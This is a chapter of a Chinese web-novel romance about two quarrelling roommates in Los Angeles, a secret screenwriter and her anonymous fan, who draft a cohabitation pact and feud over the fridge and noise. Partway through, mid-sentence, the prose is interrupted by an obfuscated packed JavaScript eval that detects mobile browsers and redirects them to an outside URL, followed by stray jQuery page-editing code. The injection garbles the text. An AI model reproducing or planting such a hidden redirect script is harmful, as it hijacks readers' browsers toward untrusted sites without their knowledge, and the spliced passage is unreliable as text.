世界静三秒。
三秒足够让芮绮的大脑处理完中介堪比死亡证明的消息，也足够让她和薄曜怒火中烧。
“你他妈——”
先有反应的是芮绮，她声音不大，不过压着声，字字句句的像加了分贝的廓形喇叭，“你是不是有病？跟踪我好玩吗？”
箱子被踢，滑到阳台，无情倒地。
薄曜上身还有水珠，没管，单拎件黑色短袖套身，几步到岛台倒了杯水仰头灌下。脸上看谁都像是看垃圾的眼神面对芮绮更是雪上加霜，要引发世界大战。
“跟踪你？”他懒洋洋笑，眼神把她上下刮擦了个遍，最后停在她那双沾了点雨水泥点的马丁靴上，“这位同学，你是不是对自己的重要性有什么误解？我一天的时间很宝贵，没空浪费在你这种怨天尤人的死文青身上。”
薄曜话音刚落，起身往沙发走，捞起手机。
“我现在就让中介把你弄走。”
“这句话该我说。”
芮绮冷脸呛他，翻兜找手机。
两通电话中介只接了一通。
“什么叫不能解约？我身边住了个没开智的蠢货，我怕我有生命危险！”
没等芮绮冷静，中介又说，
“租客提退租，违约金五个月房租。”
中介电话占线，薄曜脸色极差，隔空就喊，
“我不管你们怎么办到的，立刻，马上，把那个女人给我弄出去，我爸付的钱，不是让我跟一个疯子住在一起的。”
电话挂断。
两道视线像爆竹噼里啪啦地炸。
中介的回复言犹在耳。五个月房租。芮绮算过，押金加首月租金已经掏空了她这学期打工攒下的大半积蓄。薄曜那边——他爸停了他大部分的卡，这是他自己刚才吼出来的。
现实当头一棒，穷女孩跟被停卡的富少兜里有多少美元不得而知，不过当下把双方赶出去的梦想可以看作是普通人登月。
金钱和骄傲，在五个月房租面前败阵。
于是，暂停熄火。
“行。”
芮绮深吸一口气，脸上不见多余表情，平静更惹人发毛。解锁点击备忘录的动作快，不知道要写什么破玩意。
薄曜没急，话都懒得多说一句。
只想看看疯女人玩什么花样。
芮绮把手机屏幕转向他，上面是她刚刚起草的合租协议条款，逻辑清晰，冷酷无情，“既然未来一年我们都得忍受对方的存在，那就立个规矩。”
一、公共区域（客厅、厨房）使用权按单双日划分。芮绮（Chloe）单日，薄曜（Julian）双日。紧急情况需进入对方使用区域，须提前半小时书面/电子信息申请。
二、冰箱左右分区，物理边界为中间的隔板。禁止以任何形式触碰、移动、食用对方的食物。
三、公共区域噪音不得超过60分贝。晚十点后，任何区域噪音不得超过40分贝。
四、双方每月各自负责两次公共区域的深度清洁。日常产生的垃圾，谁制造谁处理，不得滞留超过十二小时。
五、除必要沟通外，禁止与对方产生任何形式的非必要语言、眼神及肢体接触。
六、禁止带异性回家上/床，违者交300美元。
七、本协议自双方确认起生效，直至任何一方搬离。
薄曜大体看了，气笑。
他活了20年，没见过像芮绮这种疯子。
“Areyououtofyourmind?”
（你疯了吗？）
“这是保证我们俩在未来三百多天里，不会因为激情杀人而登上社会新闻头版的唯一方法。”芮绮面无表情地收手机，“同意，还是不同意？”
薄曜盯着她那张写满别惹我的脸，最终从鼻腔里哼出一声。他烦透了，跟这种偏执的疯子争吵只会浪费他数不清的时间。
他现在只想回到自己的房间，
研究flick的新剧本。
“随你。”门被关得震天响。
Chloe看那扇紧闭的门，吐出一口浊气。她将手机备忘录截图，用iMessage发给了薄曜，附言：【请确认】
一分钟后，手机震动。
薄曜回复了一张图片，截图上用红色画笔潦草地签下了一个FuckOff。
战争，在有了规则之后，正式打响。
/
合租协议在女孩和男孩之间沦为废品。
他们还没把它丢到垃圾桶，放旁边当弹药库。
今天是单日，芮绮的使用日。
她早醒过后，发现客厅中央，扔着一双价值四位数的Balenciaga球鞋。拿黑色塑料袋装起，系好，放薄曜卧室门口，她回卧室洗澡。
八点半，薄曜房门打开。
他大概是看到了门口的礼物，接着，芮绮放冰箱里特意去韩国超市买的香蕉牛奶，不见了。
不知道何时点了外卖。
取而代之的是，薄曜那半边冰箱里，塞满了十几种不同口味和包装精美的进口牛奶，把她原本放牛奶的那个小角落挤得几乎看不见。
芮绮盯着那排整整齐齐的进口牛奶，忽然笑了。不是开心的笑。是那种行，你玩是吧的笑。
她关上冰箱门，没碰薄曜那边的东西，也没说话。拿出电脑，坐在客厅沙发上开始敲字。
十点半，薄曜房门再打开。
那双Balenciaga被踢到了一边，薄曜穿着一件宽松的灰色卫衣，头发乱糟糟的，显然又睡了个回笼觉。他瞥芮绮一眼，去厨房倒水，路过冰箱时停下，拿瓶牛奶，拧开仰头喝。
整个过程，两个人一句话没说。
但空气里有火药味。
芮绮继续敲字。
薄曜喝完牛奶，把空瓶扔进垃圾桶，回房。
五分钟后，他房间里传来音乐声。
Trap，重低音，震得客厅的吊灯都在轻轻晃。
芮绮看了眼时间，
上午十点四十五。
协议只规定晚十点后，没规定白天。
让薄曜钻了空子。
芮绮戴上降噪耳机，世界瞬间清净。
她手指下的键盘敲得飞快，剧本里那个她写了三天令人厌恶的反派角色，今天有了一张清晰的脸——JulianGoldberg。
他的眼睛，
一直有懒羊羊的轻蔑，看不起任何人的傲倨。
芮绮给薄曜加了一段独白。
关于他为什么讨厌主角。
不是立场不同，是恐惧，恐惧自己如果没有那些光环，什么都不是。
她要把他在剧本里，
用最残忍的方式，被虐一百遍。
.
耳机外的世界，
薄曜正百般无聊的躺在床上玩手机。
音乐开那么大声，其实是为了吵芮绮。他自己戴着AirPodsPro，根本没听外放。
手机屏幕上，是他最常刷的那个剧本交易平台。
「Flick发布新作：Yourecho」
他已经把试读章节翻来覆去看了五遍。
讲的是一个声呐工程师，在深海监测站工作时，意外收到一段不属于任何已知生物的神秘信号。他为之痴迷，不惜放弃一切去追寻真相，最终发现那信号其实是他自己内心某种缺失的回声。
薄曜盯着最后那几行字，心跳短暂罢工，他切到备忘录，新建一条笔记，开始疯狂记录想法：
……
“追逐的过程其实是向内探索，但他自己不知道。”
“结尾那段独白，可以参考《索拉里斯星》的镜头语言。”
“如果拍成短片，可以用16mm胶片，营造那种朦胧的梦境感。”
薄曜越写越兴奋，手指都有点抖。
这个叫Flick的神秘编剧，是他的宝藏。
他从三年前偶然刷到她的第一个剧本开始，就一眼认定这是天才。她的故事从不洒狗血，不卖弄情怀，但总能用最淡的话，讲最深刻的现实。
曾经也有过近乎不知天高地厚的评价——说她的剧本是当代美国独立电影最后的良心，说他做梦都想和她合作。
现在Flick发了新作品，
薄曜必须录一期视频，好好讲一讲。
薄曜从床上坐起来，
打开电脑，开始写视频脚本。
音乐还在震天响。
薄曜不知道的是，那音乐根本吵不到任何人。
因为此刻，他想要合作的那个天才，就坐在一墙之隔的客厅里，正把他的名字写进剧本，当成反派。
深夜，凌晨两点十七分。
芮绮渴醒了。
她睡前写稿写得太投入，忘了倒水。
此刻喉咙干得像洛杉矶的沙漠，不喝一口绝对撑不到天亮。
她打开房门。
与此同时，对面那扇门也开了。
两束手机屏幕的微光，在黑暗中各自亮着。
光照亮两张同样熬夜熬得有点发青的脸。
薄曜穿着那件见过的黑色电影T恤，胸口印着筋疲力尽的海报，头发堪比鸡窝，也不一定，鸡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406519|200537||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
窝可能比他好一点。
芮绮则披着一件洗得发白的灰色卫衣外套，
兜帽盖住一半脸，只露出一双不耐烦的眼睛。
四目相对。
空气听话地凝固三秒。
芮绮先动。
她目不斜视地走向厨房的中岛台，去拿水壶。
薄曜也动。
他走向同一个中岛台，去拿同一个水壶。
两只手同时伸向壶柄。
手背相触。
像被电击一样，两个人同时弹开。
“单日双日？”芮绮冷声问，手甩了几下。
薄曜看了眼墙上的钟，然后挑眉，
“你管凌晨算哪天？”
两人同时低头看手机。
2:17am，日期已经变了。
薄曜勾了勾唇角。那种懒洋洋的、欠揍的笑又浮上脸，“双日，滚回你房间喝。”
芮绮盯着他看了三秒。
她深吸一口气，火山喷发前的最后平静。
然后她什么都没说。
转身，回房，门摔得震天响，之后门贴便签。
薄曜站在原地，握着水壶，
他看着，忽然莫名其妙地想笑。
他倒了一杯水，仰头喝完。
准备回房时，余光瞥见芮绮的房门的便笺。
粉色便笺纸，手写的，字迹清秀力道重：
「双日公区使用权已生效，某些人自动保持60分贝以下，包括呼吸。」
薄曜盯着那张纸条看了挺久的。
然后他伸手，撕下来，揉成一团扔进垃圾桶。
芮绮不知道客厅发生了什么，她戴着耳机听歌改剧本。窗外下起了雨，洛杉矶的冬雨，冷，细密，打在玻璃上沙沙作响。
手机震动。
是剧本平台的后台通知。
她随手点开，愣住。
【系统消息】用户wild给您发送了一条私信。
芮绮盯着那行字，心跳漏拍了。
wild.
她点进去。
「wild：刚读完Yourecho，那个声呐工程师追求的其实不是什么狗屁的深海信号，是他自己吧？」
芮绮握着手机，半天没动。
她忽然觉得，这个夜晚好像没那么冷了。
她想了想，开始打字。
删掉，再打，再删掉。最后只回了四个字：
「Flick：您读懂了。」
发送。
芮绮盯着屏幕，等了一会儿。wild没再回复。
她把手机放到枕边，电脑关机。翻了个身。
闭上眼睛前，想道：wild到底是什么样的人？如果有一天能见到他，她想请他喝杯咖啡，告诉他，他的视频陪她度过了多少个写不下去的深夜。
与此同时，一墙之隔。
薄曜坐在电脑前，屏幕上是Flick的主页。
他刚收到私信回复提示，点开，
看见那几个字，心里像是雀跃的鸟。
他还坐在电脑前，屏幕上是刚打了一半的视频脚本，没继续，因为在看那条私信。
四个字。他翻来覆去看了十几遍。
Flick回复他了，Flick说，他读懂了。
薄曜那四个字，觉得自己这样挺傻的。
一个匿名的网络账号，他连对方是男是女都不知道，激动个什么劲。
但薄曜就是激动。
他把Flick的每一个剧本都下载下来，反复读，反复琢磨，他一期一期地讲她的故事。从来没指望过她会知道他的存在，更没指望过她会回复。
薄曜伸手截图私信，存进一个加密文件夹。
那个文件夹里全是Flick的东西——剧本截图、他的影评草稿、一些随手记下的灵感。
窗外的雨还在下。他看了眼时间，快三点了。
隔壁安静，那个女人总算睡了。
薄曜躺回床上，盯着天花板。
他忽然想起今天下午，
芮绮坐在沙发上敲字的状态。
她打字很快，偶尔停下来，他当时站在厨房喝水，看她屏幕，密密麻麻的字，看不清写的是什么。
——写出来也是狗屎。他当时这么想。
但现在，凌晨三点，他忽然有点好奇。那个女人成天抱着电脑敲敲敲，到底在写什么？
他摇摇头，把这个念头甩出去，关灯，闭眼。
雨声里，他迷迷糊糊地想：
Flick现在在干什么？也在听雨吗？